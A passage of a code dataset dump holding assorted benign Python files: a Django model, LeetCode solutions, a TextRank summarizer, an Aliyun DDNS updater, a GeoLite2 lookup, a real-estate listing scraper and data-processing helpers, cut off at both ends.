id_book = models.ForeignKey(Books, on_delete=models.CASCADE, related_name='books') # NOQA\n id_user = models.ForeignKey(User, on_delete=models.CASCADE, related_name='user') # NOQA\n loan_date = models.DateField(auto_now=True)\n devolution_date = models.DateField()\n is_devolved = models.BooleanField(default=False)\n\n class Meta:\n db_table = 'loan'\n","repo_name":"CaioTeixeira95/biblioteca_django","sub_path":"core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38648025205","text":"import bar_chart_race as bcr\nimport pandas as pd\ndf = pd.read_csv('dumpbcr.csv.interpolated', index_col='date', parse_dates=['date'])\n\nfrom_date = df.index[0].strftime(\"%Y-%m-%d\")\nto_date = df.index[-1].strftime(\"%Y-%m-%d\")\n\nbcr.bar_chart_race(\n fig_kwargs = {\"figsize\": (9, 5), \"dpi\": 150},\n df=df,\n filename='out.mkv',\n steps_per_period=20,\n period_length=200,\n interpolate_period=False,\n end_period_pause=0,\n filter_column_colors=True,\n orientation='h',\n sort='desc',\n n_bars=30,\n fixed_max=True,\n title=f\"Largest DN42 Networks ({from_date} to {to_date})\",\n# bar_textposition='inside',\n bar_texttemplate=lambda x: f\"{x**0.25:.2f}\",\n tick_template=lambda x, _: f\"{x**0.25:,.1f}\",\n shared_fontdict={'family': 'Dejavu Sans Mono', 'weight': 'regular'},\n)\n","repo_name":"isjerryxiao/rushed_dn42_map","sub_path":"bcr.py","file_name":"bcr.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"40285756317","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 26 13:36:42 2017\n\n@author: yc\n\"\"\"\n\n#本质上是斐波那契数列,除了第一二层,后面的每层都是 f(n-1) + f(n-2),要么一步到f(n-1),要么两步到f(n-2)\n\nclass Solution(object):\n def climbStairs(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n a = [1,1,2]\n for i in range(3,n+1):\n a.append(a[i-1] + a[i-2])\n return a[n]\n ","repo_name":"zjuyuchen/LeetCode","sub_path":"LeetCode/70 Climbing Stairs.py","file_name":"70 Climbing Stairs.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"104206811","text":"from PIL import Image\r\nfrom torch.utils import data\r\nimport torch\r\n\r\n\r\n## ---------------------- Dataloaders ---------------------- ##\r\nclass Dataset_Csv(data.Dataset):\r\n \"Characterizes a dataset for PyTorch\"\r\n\r\n def __init__(self, folders, labels, transform=None):\r\n \"Initialization\"\r\n # self.data_path = data_path\r\n self.labels = labels\r\n self.folders = folders\r\n self.transform = transform\r\n\r\n def __len__(self):\r\n \"Denotes the total number of samples\"\r\n return len(self.folders)\r\n\r\n def read_images(self, path, use_transform):\r\n image = Image.open(path)\r\n if use_transform is not None:\r\n image = use_transform(image)\r\n return image\r\n\r\n def __getitem__(self, index):\r\n \"Generates one sample of data\"\r\n # Select sample\r\n folder = self.folders[index]\r\n\r\n # Load data\r\n X = self.read_images(folder, self.transform) # (input) spatial images\r\n y = torch.LongTensor([self.labels[index]]) # (labels) LongTensor are for int64 instead of FloatTensor\r\n\r\n # print(X.shape)\r\n return X, y\r\n\r\n\r\n## ---------------------- end of Dataloaders ---------------------- ##\r\n\r\n\r\n\r\n","repo_name":"bomb2peng/DFGC_starterkit","sub_path":"Det_model_training/network/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"61"} +{"seq_id":"25521707528","text":"import pytest\nimport numpy as np\nimport itertools\nimport Levenshtein as levenshtein_module\nimport python_course_levenshtein_c\nimport my_levenshtein\n\nLEN = 10\nMISTAKES = 5\n\n@pytest.fixture\ndef string1():\n \"\"\"\n This creates a random string from four characters\n \"\"\"\n return ''.join(np.random.choice(['g', 'a', 't', 'c'], size=LEN))\n\n@pytest.fixture\ndef string2(string1):\n \"\"\"\n This creates a string with a known number of differences to an existing string\n \"\"\"\n permutations = itertools.permutations(['g', 'a', 't', 'c'])\n changed = {v[0]: v[1:] for v in permutations}\n\n string2 = list(string1)\n for i in np.random.choice(LEN, replace=False, size=MISTAKES):\n string2[i] = np.random.choice(changed[string1[i]])\n\n return ''.join(string2)\n\ndef distance(string1, string2):\n \"\"\"\n This calculates the distance between two strings as a reference\n \"\"\"\n return levenshtein_module.distance(string1, string2)\n\ndef test_ctypes(string1, string2, benchmark):\n string1_c = bytes(string1, encoding='ascii')\n string2_c = bytes(string2, encoding='ascii')\n edit_distance = benchmark(python_course_levenshtein_c.get_levenshtein_distance, string1_c, string2_c)\n\n assert edit_distance == distance(string1, string2)\n\n#def test_pure_python(string1, string2, benchmark):\n# edit_distance = benchmark(my_levenshtein.calculate_levenshtein, string1, string2)\n#\n# assert edit_distance == distance(string1, string2)\n\ndef test_matrix_python(string1, string2, benchmark):\n edit_distance = benchmark(my_levenshtein.calculate_levenshtein_matrix, string1, string2)\n\n assert edit_distance == distance(string1, string2)\n\ndef test_python_module(string1, string2, benchmark):\n edit_distance = benchmark(levenshtein_module.distance, string1, string2)\n\n assert edit_distance == distance(string1, string2)\n\n\n# Test files don't usually have code for being directly run, but it's useless context here\nif __name__ == \"__main__\":\n test1 = string1()\n test2 = string2(test1)\n print(test1[0:20] + '...', test2[0:20] + '...')\n print('DISTANCE: ', distance(test1, test2))\n","repo_name":"flaxandteal/python-course","sub_path":"018-bioinformatics/test_levenshtein_benchmark.py","file_name":"test_levenshtein_benchmark.py","file_ext":"py","file_size_in_byte":2115,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"39575784622","text":"\"\"\"\nThis file convert an array to a string ready to be registered\nin a txt or csv file.\n\"\"\"\nimport numpy as np\n\n\ndef array_to_string(matrix):\n \"\"\"\n Convert an array or a list to a string ready to be registered.\n\n Args:\n matrix (array or list of 1 or 2 dimensions): the matrix to store.\n\n Returns:\n (string): the elements of matrix separated by a comma.\n\n >>> array_to_string(np.array([[3, 4],[8, 2]]))\n '3,4,8,2'\n >>> array_to_string([[3, 4],[8, 2]])\n '3,4,8,2'\n \"\"\"\n if isinstance(matrix, list):\n str_matrix = str(matrix)\n else:\n str_matrix = str(matrix.tolist())\n str_matrix = str_matrix.replace(\"[\", \"\")\n str_matrix = str_matrix.replace(\"]\", \"\")\n\n return str_matrix.replace(\" \", \"\")\n\n\nif __name__ == \"__main__\":\n # -- Doc tests -- #\n import doctest\n doctest.testmod()\n","repo_name":"theovincent/SAG_vs_SDCA","sub_path":"src/utils/create_data/generate_data/array_to_string/array_to_string.py","file_name":"array_to_string.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12892165529","text":"import re\nimport time\nimport json\nimport threading\n\nimport requests\n\nfrom aliyunsdkcore.client import AcsClient\nfrom aliyunsdkalidns.request.v20150109.DescribeDomainRecordsRequest import DescribeDomainRecordsRequest\nfrom aliyunsdkalidns.request.v20150109.UpdateDomainRecordRequest import UpdateDomainRecordRequest\n\nclass AliDDNS(object):\n def __init__(self,\n domain, record, \n id, secret,\n sleep = 600,\n ipv4 = True, ipv6 = True,\n v4api = \"http://ipv4.ipv6-test.ch/ip/\",\n v6api = \"http://ipv6.ipv6-test.ch/ip\"):\n \n assert domain.count(\".\") == 1 and \\\n not domain.startswith(\".\") and \\\n not domain.endswith(\".\")\n\n self.domain = domain\n self.record = record\n self.sleep = sleep\n self.ipv4 = ipv4\n self.ipv6 = ipv6\n self.v4api = v4api\n self.v6api = v6api\n self.v4re = re.compile(r\"(((\\d{1,2})|(1\\d{2})|(2[0-4]\\d)|(25[0-5]))\\.){3}((\\d{1,2})|(1\\d{2})|(2[0-4]\\d)|(25[0-5]))\")\n self.v6re = re.compile(r\"(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))\")\n\n self.__client = AcsClient(id, secret, 'cn-hangzhou')\n\n daemon = threading.Thread(target=self.__daemon, name=\"Daemon Thread\")\n daemon.daemon = True\n daemon.start()\n\n def __daemon(self):\n while True:\n self.refresh()\n time.sleep(self.sleep)\n\n def refresh(self):\n # Get local public ipv4 address\n if self.ipv4:\n try:\n self.__v4 = re.search(self.v4re, requests.get(self.v4api).text).group(0)\n except Exception as e: \n print(\"Failed to get local public ipv4 address,\", e)\n else:\n print(\"Your ipv4 address is:\", self.__v4)\n\n try:\n describe_v4 = DescribeDomainRecordsRequest()\n describe_v4.set_accept_format('json')\n\n describe_v4.set_DomainName(self.domain)\n describe_v4.set_RRKeyWord(self.record)\n describe_v4.set_TypeKeyWord(\"A\")\n\n describeback_v4 = self.__client.do_action_with_exception(describe_v4)\n\n recordlist_v4 = json.loads(describeback_v4)\n recordid_v4 = recordlist_v4['DomainRecords']['Record'][0]['RecordId']\n value_v4 = recordlist_v4['DomainRecords']['Record'][0]['Value']\n\n if value_v4 != self.__v4:\n print('Your ipv4 address has been changed, update now.')\n update_v4 = UpdateDomainRecordRequest()\n update_v4.set_accept_format('json')\n\n update_v4.set_RecordId(recordid_v4)\n update_v4.set_Value(self.__v4)\n update_v4.set_Type(\"A\")\n update_v4.set_RR(self.record)\n\n self.__client.do_action_with_exception(update_v4)\n print('Your ipv4 record has been updated successfully.')\n except Exception as e: \n print(\"Failed to update your ipv4 record,\", e)\n\n \n # Get local public ipv6 address\n if self.ipv6:\n try:\n self.__v6 = re.search(self.v6re, requests.get(self.v6api).text).group(0)\n except Exception as e: \n print(\"Failed to get local public ipv6 address,\", e)\n else:\n print(\"Your ipv6 address is:\", self.__v6)\n\n try:\n describe_v6 = DescribeDomainRecordsRequest()\n describe_v6.set_accept_format('json')\n\n describe_v6.set_DomainName(self.domain)\n describe_v6.set_RRKeyWord(self.record)\n describe_v6.set_TypeKeyWord(\"AAAA\")\n\n describeback_v6 = self.__client.do_action_with_exception(describe_v6)\n\n recordlist_v6 = json.loads(describeback_v6)\n recordid_v6 = recordlist_v6['DomainRecords']['Record'][0]['RecordId']\n value_v6 = recordlist_v6['DomainRecords']['Record'][0]['Value']\n\n if value_v6 != self.__v6:\n print('Your ipv6 address has been changed, update now.')\n update_v6 = UpdateDomainRecordRequest()\n update_v6.set_accept_format('json')\n\n update_v6.set_RecordId(recordid_v6)\n update_v6.set_Value(self.__v6)\n update_v6.set_Type(\"AAAA\")\n update_v6.set_RR(self.record)\n\n self.__client.do_action_with_exception(update_v6)\n print('Your ipv6 record has been updated successfully.')\n except Exception as e: \n print(\"Failed to update your ipv6 record,\", e)\n \nif __name__ == \"__main__\":\n dns = AliDDNS(\"MainDomain.com\", \"SubDomain\", \"AccessKey ID\", \"AccessKey Secret\")\n \n while True:\n cmd = input()\n if cmd == \"exit\":\n break\n elif cmd == \"refresh\":\n dns.refresh()\n else:\n print(\"Unknown command.\")\n ","repo_name":"ghinknet/AliDDNS","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11128179205","text":"class Person:\n def setvalue(self,name,age,address):\n self.name=name\n self.age=age\n self.address=address\n print(\"name\",self.name)\n print(\"age\",self.age)\n print(\"address\",self.address)\nclass Parent:\n def set(self,job,place):\n self.job=job\n self.place=place\n print(\"job\",self.job)\n print(\"place\",self.place)\nclass Employe(Person,Parent):\n def setv(self,id,salary):\n self.id=id\n self.salary=salary\n print(\"id\",self.id)\n print(\"salary\",self.salary)\nte=Employe()\nte.setvalue(\"asheesh\",'29','abc')\nte.set(\"mechanical engineer\",'alappuzha')\nte.setv(\"2314\",\"30000\")","repo_name":"harithaasheesh/mypythonrepo","sub_path":"oop/inheritance/persn_parent_emply_multipleinheri.py","file_name":"persn_parent_emply_multipleinheri.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71353841794","text":"from selenium import webdriver\n\ndriver = webdriver.Chrome()\n\ndriver.get(\"https://www.example.com\")\n\n# Locate and select a checkbox element\ncheckbox = driver.find_element_by_id(\"checkbox_id\") # Replace with the actual element locator\nif not checkbox.is_selected():\n checkbox.click() # Select the checkbox\n\nradio_button = driver.find_element_by_id(\"radio_button_id\") # Replace with the actual element locator\nif not radio_button.is_selected():\n radio_button.click() # Select the radio button\n\n\n# Close the browser\ndriver.quit()","repo_name":"AmitBoricha/Web-automation-Selenium","sub_path":"checkbox_selection.py","file_name":"checkbox_selection.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25206474365","text":"from setuptools import setup, find_packages\n\n# Read the contents of your README file\nwith open('README.md', encoding='utf-8') as f:\n long_description = f.read()\n\nsetup(\n name='NoteBackupCLI',\n version='0.1',\n description='A simple command-line tool to back up notes, with HackMD integration.',\n long_description=long_description,\n long_description_content_type='text/markdown',\n author='Chan Ching Yi',\n author_email='chingyichan.tw@gmail.com',\n url='https://github.com/yourusername/NoteBackupCLI',\n packages=find_packages(),\n install_requires=[\n 'requests>=2.30',\n 'click>=8.0',\n 'rich>=13.0',\n 'mistune>=3.0'\n ],\n entry_points={\n 'console_scripts': [\n 'nbc = notebackupcli.main:main',\n ],\n },\n classifiers=[\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.10',\n 'Programming Language :: Python :: 3.11',\n 'License :: OSI Approved :: Apache Software License',\n 'Operating System :: OS Independent',\n ],\n python_requires='>=3.10',\n)\n","repo_name":"qtysdk/note-backup-tool","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43119321687","text":"class Solution(object):\n def carPooling(self, trips, capacity):\n \"\"\"\n :type trips: List[List[int]]\n :type capacity: int\n :rtype: bool\n \"\"\"\n if not trips:\n return True\n \n deltas = []\n for trip in trips:\n deltas.append([trip[1], trip[0]])\n deltas.append([trip[2], -trip[0]])\n \n deltas = sorted(deltas, key=lambda delta: delta[0])\n for i in range(len(deltas)):\n capacity -= deltas[i][1]\n # \"De-duping\" events\n if capacity < 0 and (i != len(deltas) - 1) and deltas[i][0] != deltas[i + 1][0]:\n return False\n return True","repo_name":"hexecute/leetcode-answers","sub_path":"problems/car_pooling/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"69920204034","text":"'''\nTextRank\n\nsee also:\n\"An Introduction to Text Summarization using the TextRank Algorithm (with Python implementation)\":\nhttps://www.analyticsvidhya.com/blog/2018/11/introduction-text-summarization-textrank-python/\n\nDownload pre-trained word vectors (glove.6B.100d.txt): https://nlp.stanford.edu/projects/glove/\n\n----- 6 most relevant sentences (30%) -----\n1 - At home, he oversaw the legal union of England and Wales with the Laws in Wales Acts 1535 and 1542, \n and he was the first English monarch to rule as King of Ireland following the Crown of Ireland Act 1542.\n2 - Henry's contemporaries considered him an attractive, educated, and accomplished king.\n3 - Despite the money from these sources, he was continually on the verge of financial ruin due to his personal extravagance, \n as well as his numerous costly and largely unsuccessful wars, particularly with King Francis I of France, \n Holy Roman Emperor Charles V, James V of Scotland and the Scottish regency under the Earl of Arran and Mary of Guise.\n4 - Henry VIII was King of England from 1509 until his death in 1547.\n5 - His disagreement with Pope Clement VII on the question of such an annulment led Henry to initiate the English Reformation, \n separating the Church of England from papal authority.\n6 - Henry is best known for his six marriages, and, in particular, his efforts to have his first marriage annulled.\n\n'''\n\nimport json\nimport re\nfrom typing import Any, Dict, List, Tuple\n\nimport networkx as nx\nimport numpy as np\n\nfrom nltk import pos_tag\nfrom nltk.corpus import stopwords\nfrom nltk.stem import WordNetLemmatizer, PorterStemmer\nfrom nltk.tokenize import RegexpTokenizer\n\nfrom sklearn.metrics.pairwise import cosine_similarity\n\n\nTOKENIZER = RegexpTokenizer(r\"\\w+\")\nLEMMATIZER = WordNetLemmatizer()\nSTEMMER = PorterStemmer()\nSTOPWORDS = set(stopwords.words('english'))\n\n\ndef _tokenize_text(text:str) -> List[str]:\n def filter_by_pos(token: List[str]) -> List[str]: # filter by pos tags\n return [t for t, pos in pos_tag(token) if pos in [\"NN\", \"NNP\", \"NNS\", \"VB\", \"VBD\", \"VBG\", \"VBN\", \"VBP\", \"VBZ\"]]\n def remove_stopwords(token: List[str]) -> List[str]:\n return [w for w in token if not w in STOPWORDS]\n def tokenize_text(text: str) -> List[str]:\n return TOKENIZER.tokenize(text) # list of token without punctuation etc.\n def get_token_lemmata(token: List[str]) -> List[str]: # prefer over stemming\n return [LEMMATIZER.lemmatize(t) for t in token]\n def get_token_stems(token: List[str]) -> List[str]:\n return [STEMMER.stem(t) for t in token]\n \n token: List[str] = get_token_lemmata(remove_stopwords(tokenize_text(text.lower())))\n token = filter_by_pos(token)\n \n return token\n\n\nwith open(\"data/source_texts/wikipedia_a_1.txt\") as f:\n loaded_text: str = f.read()\n\nloaded_text = loaded_text.replace(\"\\n\\n\", \" \")\n\n# ****************************************************\n#\n# text pre-processing\n#\n# ****************************************************\n# wikipedia specific: remove paranthesis and brackets incl. text inside i.e. [1] or (28 June 1491 – 28 January 1547)\nfor x in set(re.findall(\"[\\(\\[].*?[\\)\\]]\", loaded_text)):\n loaded_text = loaded_text.replace(x, \"\")\nloaded_text = \" \".join(loaded_text.split()) # remove double space\n\n\n# ***\n# split into sentences\n# use for clean-up and later to match best results with original sentences\nsentences: List[str] = loaded_text.split(\".\")\nfor i, s in enumerate(sentences):\n sentences[i] = f\"{s}.\".strip()\n\nnum_sentences = len(sentences)\n\n# ***\n# get cleaned version of each sentence\ncleaned_sentences: List[str] = [\" \".join(_tokenize_text(s)) for s in sentences] # list of sentences\ncorpus: str = \" \".join(cleaned_sentences) # all sentences as one document\n\n\n# ****************************************************\n#\n# word vectors\n#\n# ****************************************************\n# ***\n# Extract word vectors from file (a little time consuming)\nword_embeddings: Dict[str, np.ndarray] = {}\n\nwith open(\"data/glove.6B.100d.txt\") as f:\n for line in f:\n values = line.split()\n token = values[0]\n coefs = np.asarray(values[1:], dtype='float32')\n word_embeddings[token] = coefs\n\n# ***\n# apply word vectors on sentences\nsentence_vectors: List[np.ndarray] = []\n\nfor sentence in cleaned_sentences:\n if len(sentence) == 0:\n vectors = np.zeros((100,)) # fill with zeros\n else:\n vectors = sum([\n word_embeddings.get(token, np.zeros((100,))) for token in sentence.split() # get vectors of token or fill with zero\n ])/(len(sentence.split())+0.001)\n \n sentence_vectors.append(vectors)\n\n\n# ****************************************************\n#\n# similarity matrix\n#\n# ****************************************************\n# ***\n# initialize similarity matrix with dimension (n, n) (n = number of senteces)\nsimilarity_matrix = np.zeros([num_sentences, num_sentences])\n\n# ***\n# calculate cosine similarity between pairs of sentences\nfor i in range(num_sentences):\n for j in range(num_sentences):\n if i == j:\n continue\n similarity_matrix[i][j] = cosine_similarity(\n sentence_vectors[i].reshape(1,100), sentence_vectors[j].reshape(1,100)\n )[0,0]\n\n\n# ****************************************************\n#\n# text rank scores from graph\n#\n# ****************************************************\ngraph = nx.from_numpy_array(similarity_matrix)\nscores: Dict[int, float] = nx.pagerank(graph)\n\n# ****************************************************\n#\n# Summary Extraction\n#\n# ****************************************************\nranked_sentences: List[Tuple[float, str]] = sorted(((scores[i], s) for i, s in enumerate(sentences)), reverse=True)\n\n# ***\n# get the n % most relevant sentences\npercentage_text_reduction = 30\nnum_sentences = int((percentage_text_reduction * len(sentences))/100)\n\nprint(f\"----- {num_sentences} most relevant sentences ({percentage_text_reduction}%) -----\")\nfor i in range(num_sentences):\n sentence = ranked_sentences[i][1]\n print(f\"{i+1} - {sentence}\")\n","repo_name":"zushicat/text-summarization-extractive","sub_path":"extractive_text_rank.py","file_name":"extractive_text_rank.py","file_ext":"py","file_size_in_byte":6106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9517571227","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# IPAddresses\n\nfrom maxminddb import open_database\nfrom os import path\nfrom ipaddress import IPv4Address, IPv6Address, ip_address\n\nclass GeoLite2:\n\t'Class to use MaxMind GeoLite2 databases City and ASN'\n\n\tdef __init__(self):\n\t\t'Create address from given string'\n\t\tself.dir = path.join(path.dirname(path.realpath(__file__)).rsplit('/', 2)[0], 'geolite2')\t# root dir is 2 levels up from this script\n\t\ttry:\t# try to open databases\n\t\t\tself.asn = open_database(path.join(self.dir, 'GeoLite2-ASN.mmdb'))\n\t\texcept:\n\t\t\tself.asn = None\n\t\ttry:\n\t\t\tself.country = open_database(path.join(self.dir, 'GeoLite2-Country.mmdb'))\n\t\texcept:\n\t\t\tself.country = None\n\n\tdef get(self, addr):\n\t\t'Get infos to given IP address'\n\t\tif isinstance(addr, str):\n\t\t\taddr = ip_address(addr)\n\t\tdata = dict()\n\t\tif self.country != None:\n\t\t\tif addr.is_private:\n\t\t\t\tdata['country'] = '-'\n\t\t\t\tdata['cc'] = 'private'\n\t\t\telse:\n\t\t\t\tcountry_data = self.country.get(addr)\n\t\t\t\ttry:\n\t\t\t\t\tdata['country'] = country_data['country']['names']['en']\n\t\t\t\t\tdata['cc'] = country_data['country']['iso_code']\n\t\t\t\texcept (KeyError, TypeError):\n\t\t\t\t\tdata['country'] = '-'\n\t\t\t\t\tdata['cc'] = 'unknown'\n\t\tif self.asn != None:\n\t\t\tif addr.is_private:\n\t\t\t\tif self.country == None:\n\t\t\t\t\tdata['aso'] = 'Private IP Address'\n\t\t\t\telse:\n\t\t\t\t\tdata['aso'] = '-'\n\t\t\t\tdata['asn'] = '-'\n\t\t\telse:\n\t\t\t\tasn_data = self.asn.get(addr)\n\t\t\t\ttry:\n\t\t\t\t\tdata['aso'] = asn_data['autonomous_system_organization']\n\t\t\t\t\tdata['asn'] = asn_data['autonomous_system_number']\n\t\t\t\texcept (KeyError, TypeError):\n\t\t\t\t\tdata['aso'] = '-'\n\t\t\t\t\tdata['asn'] = '-'\n\t\treturn data\n","repo_name":"markusthilo/IPFlower","sub_path":"python/lib/geolite2.py","file_name":"geolite2.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37171693959","text":"# Scrapes the number of houses, condominiums, and aparments\n# for sale and for rent in each of the cities\nimport requests\nfrom bs4 import BeautifulSoup\nfrom multiprocessing import Pool\nfrom p_tqdm import p_map\nimport pandas as pd\nimport numpy as np\nimport random\nimport json\nfrom functools import partial\npropertyTypes = [\"house\", \"apartment\", \"condominium\"]\nofferTypes = ['buy', 'rent']\n\n#Rotate IP\nproxy = pd.read_csv(\"csv files\\\\Free_Proxy_List.csv\")\nproxy = proxy.to_dict('records')\n#urlTemplate \"https://www.lamudi.com.ph/{region}/{city-name}/{barangayName}/{propertyTypes}/{offerTypes}\"\n\ndfOrig = pd.read_csv(\"csv files\\\\CityData.csv\")\nunscrapedData = []\n\n# URL Template City https://www.lamudi.com.ph/{regionName}/{cityName}/{propertyType}/{offerType}/\ndef getNumPropertiesCity(data, propertyType, offerType):\n url = f\"https://www.lamudi.com.ph/{data['regionName']}/{data['cityName']}\" \\\n f\"/{propertyType}/{offerType}\"\n\n #Gets a random Proxy to use to get the page request\n randomProxy = proxy[random.randint(0, len(proxy)-1)]\n page = requests.get(url, proxies={'http': f\"http://{randomProxy['ip']}:{randomProxy['port']}\"})\n if page.status_code != 200:\n unscrapedData.append(data)\n print(data)\n print(propertyType, offerType)\n\n soup = BeautifulSoup(page.content, \"html.parser\")\n results = soup.find(\"span\", class_=\"CountTitle-number\")\n if results:\n numList = results.getText().replace(\",\", \"\")\n else:\n numList = 0\n data = [{\"regionName\": data['regionName'],\n \"cityName\": data['cityName'], \n f\"{propertyType}-{offerType}\": numList}]\n df = pd.DataFrame.from_dict(data)\n return df\n\n#Iterates through all available property type and offer type and checks each of the said unique combinations\nif __name__ == \"__main__\":\n print(\"Getting All Available Listings per Property Type and Offer Type\")\n allData = dfOrig.copy()\n with Pool(16) as p:\n for propertyType in propertyTypes:\n for offerType in offerTypes:\n dfMod = dfOrig\n data = p_map(partial(getNumPropertiesCity, propertyType= propertyType, \n offerType = offerType), dfMod.to_dict('records'))\n data = pd.concat(data,axis=0)\n allData = pd.merge(allData, data, on=[\"regionName\",\"cityName\"], how=\"outer\").fillna('void')\n allData.to_csv(\"csv files\\\\CityDataExpanded.csv\", index=False)\n\nwith open('unscrapedData.json', 'w') as f:\n json.dump(unscrapedData, f)","repo_name":"aronnicksnts/Ph-Real-Estate","sub_path":"numberOfListingScrape.py","file_name":"numberOfListingScrape.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32908557688","text":"import pandas as pd\r\nimport numpy as np\r\nimport torch\r\nfrom datetime import timedelta, datetime\r\n\r\n\r\ndef loadData(data): # !! it makes first col to row name !!\r\n df = pd.read_csv(data)\r\n df = df.set_index('0')\r\n\r\n return df\r\n\r\n\r\n\r\ndef getTimeStep(df): # columns to list\r\n inputList = list(map(int, df.columns.tolist()))\r\n return inputList\r\n\r\n\r\n\r\ndef oneDayIs48(inputList): # detect days which is not 48 timeStep \r\n # and return {day:timeStep} dictionary\r\n oneDay = 24 * 2 # 24h x 30min\r\n day = 195\r\n dayList = []\r\n tempDic = {}\r\n for i in range(len(inputList)):\r\n dayList.append(inputList[i]//100)\r\n while True:\r\n if dayList.count(day) != oneDay:\r\n tempDic[day] = dayList.count(day)\r\n day += 1\r\n if day == 731:\r\n break\r\n\r\n return tempDic\r\n\r\n\r\ndef countOmit(df): # sum(count NAN)\r\n return sum(df.isnull().sum())\r\n\r\n\r\n\r\ndef observe(df,customer,day): # return a day of customer\r\n dayList = []\r\n usage = []\r\n inputList = getTimeStep(df)\r\n TorF = False\r\n for i in range(len(inputList)):\r\n temp = inputList[i]//100\r\n if temp==day:\r\n TorF = True\r\n dayList.append(inputList[i])\r\n usage.append(df.loc[customer][i])\r\n elif TorF == True: break\r\n\r\n df = pd.DataFrame(np.array(usage)).transpose()\r\n df.columns = dayList\r\n df.index = [customer]\r\n return df\r\n\r\n\r\ndef findNAN(df):\r\n inputList = getTimeStep(df)\r\n NANcolumn = []\r\n \r\n for i in range(len(inputList)):\r\n if df[str(inputList[i])].isnull().values.any()==True:\r\n NANcolumn.append(inputList[i])\r\n\r\n return NANcolumn\r\n\r\n\r\n\r\ndef renameCol(df): # rename columns from Day195 to Day750\r\n colList = getTimeStep(df)\r\n colList.remove(73048)\r\n colList.remove(73047)\r\n day = 19500\r\n count = 0\r\n for i in range(536):\r\n time = 1\r\n for j in range(48):\r\n colList[count] = day + i*100 + time\r\n time += 1\r\n count += 1\r\n \r\n df = df.drop(columns=['73047','73048'])\r\n df.columns = colList\r\n return df\r\n\r\n\r\ndef renameRow(df): # rename index from 1 to 929\r\n id = [i for i in range(1,929+1)]\r\n df.index = id\r\n return df\r\n\r\n\r\n\r\ndef getIDtensor(id): # customer id to 31by 2 tensor\r\n IDtensor = torch.zeros([2,31])\r\n left = id // 31\r\n right = id % 31\r\n IDtensor[0,left] = 1\r\n IDtensor[1,right] = 1\r\n return IDtensor\r\n\r\n\r\n\r\ndef getMWDtensor(timestep): # returns Month Week Dat facor tensor\r\n day_0 = datetime(2009,7,1) # day 0 = 1st, July, 2009\r\n day_target = (timestep//100) - 195\r\n day = day_0 + timedelta(days=day_target)\r\n M = day.month \r\n W = day.isoweekday() # Monday:Sunday == 1:7\r\n D = day.day\r\n MWDtensor = torch.zeros([1,63])\r\n MWDtensor[0,M-1] = 1\r\n MWDtensor[0,12+W-1] = 1\r\n MWDtensor[0,19+D-1] = 1\r\n return MWDtensor\r\n\r\n\r\ndef getFactorTensor(id,timestep):\r\n ID = getIDtensor(id).view([1,62])\r\n MWD = getMWDtensor(timestep)\r\n factor = torch.cat([ID,MWD],dim=1)\r\n factor = factor.view([1,5,25])\r\n\r\n return factor\r\n\r\n\r\n\r\ndef testFunc(number): # toyCode for testing\r\n if number<0:\r\n raise ValueError\r\n return (\"even\" if number%2==0 else \"odd\")\r\n\r\n\r\n\r\nif 